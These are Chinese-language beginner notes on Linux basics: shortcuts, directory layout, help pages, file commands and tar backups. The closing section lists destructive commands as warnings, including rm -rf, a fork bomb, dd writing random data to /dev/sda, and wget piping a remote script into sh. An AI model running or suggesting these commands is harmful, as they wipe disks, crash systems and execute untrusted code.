Linux基础操作、快捷键、命令
Linux命令的执行过程
命令----shell(命令解释器)-----内核(kernel);
根据命令是否是shell的一部分,将命令分为内部命令和外部命令;内部是shell的一部分,外部命令是由安装软件提供
常用快捷键:
ctrl+c-->取消终止命令
ctrl+l-->清楚屏幕
ctrl+a-->光标移动到行首
ctrl+e-->光标移动到行尾
ctrl+f-->向前移动
ctrl+b-->向后移动
alt+.-->引用上一条命令的最后参数
tab-->补齐,一个tab补齐命令或参数,两个tab显示字母开头的所有命令
Linux文件系统
1)文件名称严格区分大小写
2)文件名称可使用/以外的任意字符,特殊字符不推荐使用
3 )文件名不可查过255个字符(这个就看就行了,谁心那么大)
4)以.开头的文件是隐藏文件,但是有两个特殊的:
.:表示当前目录。
..:当前目录的上一级目录。
如:/etc/init.d/
.表/etc/init.d/
..表/etc
echo 3 > /proc/sys/vm/drop_caches 清除内存
5)相对路径:根据当前的目录做描述
绝对路径:根据/目录开始做描述
Linux一切皆文件,所有文件都放在目录下(/)
文件/目录对应关系 相对路径/绝对路径
常用目录的对应关系
/boot ##启动文件存放目录
/etc ##配置文件存放目录
/proc ##系统内存状态目录,是系统快照
/dev ##存放硬件文件的目录
/home ##普通用户的家目录
/root ##root用户的家目录
/var ##动态变化的数据存放目录,如日志、数据库的数据文件
/usr ##用户文件存放目录
Linux的帮助命令
lhelp:内部命令帮助(help cd)(ls --help)
man:命令手册(man 命令):详细介绍命令的使用
man的区域类型: 格式:man 1/5/8 命令/文件
1-->用户命令
5-->配置文件的格式帮助
8-->管理员管理工具的帮助
基本结构
sections(区域)
name(名字)
synopsis(命令的语法)
description(描述解释命令)
option(选项)
EXAMPLE(使用的案例,经使用)
author(作者)
seealso(其他相关帮助)
Linux常用的增、删、改、查
常用目录的对应关系
/boot ##启动文件存放目录
/etc ##配置文件存放目录
/proc ##系统内存状态目录,是系统快照
/dev ##存放硬件文件的目录
/home ##普通用户的家目录
/root ##root用户的家目录
/var ##动态变化的数据存放目录,如日志、数据库的数据文件
/usr ##用户文件存放目录
查看:cd pwd ls du which find cat more/less head/tail grep wc,
目录的查看:cd,pwd,ls,du
cd:目录的管理,切换目录
( cd /etc/sysconfig ##进入绝对目录
cd ../../ ##到根目录
cd - ##回到上一所在目录
pwd ##验证
cd ##回家
pwd
useradd u01 ##创建用户u01
e cho 123123 |passwd --stdin u01 ##给u01修改密码为123123
cd ~u01 ##进入u01的家目录
pwd ##验证为/home/u01)
pwd:查看当前工作目录
(pwd ##直接查看当前工作目录即“.=?”
cd /etc/init.d/
pwd ##查看到是链接后的目录
pwd -P ##查看物理路径/etc/rc.d/init.d)
ls:列出当前目录下文件
(-lh ##长格式查看当前目录下的内容
-ld /boot ##查看/boot本身的详细信息
-R / ##显示整个系统的所有内容
--help ##查看帮助,推荐使用-lt按时间排序,-lS按大小排序
-a ##显示隐藏文件如.bash_profile)
du:统计文件或目录大小
(du -sh / ##统计根目录总大小
du -sh /* ##统计根目录的子目录的总大小
du -sh /etc/redhat-release ##统计单个文件大小)
文件的删和改:rm、mv、vi/vim
rm:删除文件或目录
mv:移动或修改文件名称,位置
vi/vim:修改创建文件
(:% g/^$/d ##删除空行
:% g/^#/d ##删除#开始的行
: !ip a ##在vi中执行命令
ctrl+r ##重做,与u撤销相反)
文件的增加:mkdir、touch、ln、cp
mkdir:创建目录
touch:创建文件
ln:创建文件目录的超链接
cp:复制文件或目录
tar备份系统:gzip,bzip2,xz,tar
tar -zcvf 文件名称-日期.tar.gz 备份的目录或文件 ##调用gzip
tar -jcvf 文件名称-日期.tar.bzp2 备份的目录或文件 ##调用bzip2
tar -Jcvf 文件名称-日期.tar.xz 备份的目录或文件 ##调用xz
恢复:解压缩
tar -zxvf 文件名称-日期.tar.gz -C 释放的目录 ##其他格式相同
查看压缩包中的内容:
tar -ztvf 文件名称-日期.tar.gz ##不解压查看,其他格式相同
次文档皆是一下比较简单的操作命令,与一些比较简单的简介,皆是参考
Linux的操作需要我们长时间的积累,这需要我们付出时间与精力去学习
邪恶的操作命令
rm-rf 命令
:(){:|:&};: 命令 ## fork 炸弹具体操作是通过定义一个名为 ‘:‘的函数,它 会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
命令 >/dev/sda
mv 文件夹 /dev/null
wget http://malicious_source -O- | sh #sh会(无条件的)执行下载下来的脚本
> file
dd if=/dev/random of=/dev/sda ##会向块设备sda写入随机的垃圾文件从而擦出数据,你的系统可能陷入混乱和不可恢复的状态